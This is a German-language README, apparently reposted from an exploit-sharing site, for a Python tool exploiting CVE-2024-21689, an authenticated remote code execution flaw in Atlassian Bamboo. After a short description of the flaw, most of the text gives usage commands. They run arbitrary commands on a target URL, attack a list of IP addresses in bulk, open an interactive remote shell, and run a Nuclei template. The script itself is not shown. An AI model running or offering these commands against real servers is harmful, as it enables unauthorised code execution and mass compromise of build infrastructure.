CVE-2024-21689

#CVE-2024–21689 RCE in Bamboo Data Center und Server (Atlassian)

CVSS-Wert - 7.6 🔥

Beschreibung

Diese als hoch eingestufte RCE-Schwachstelle (Remote Code Execution) CVE-2024-21689 wurde in den Versionen 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0 und 9.6.0 von Bamboo Data Center und Server eingeführt. Diese RCE-Schwachstelle (Remote Code Execution) mit einem CVSS-Wert von 7,6 ermöglicht es einem authentifizierten Angreifer, beliebigen Code auszuführen, was hohe Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit hat und eine Benutzerinteraktion erfordert.

Skript ausführen

• Einzel-URL-Modus:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• Dateimodus (für mehrere IPs):
  root@kitploit:~

  python3 exploit.py -f ips.txt -c "whoami"
  

• Interaktiver Shell-Modus:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei:
  root@kitploit:~

  nuclei exploit.yaml -f file.txt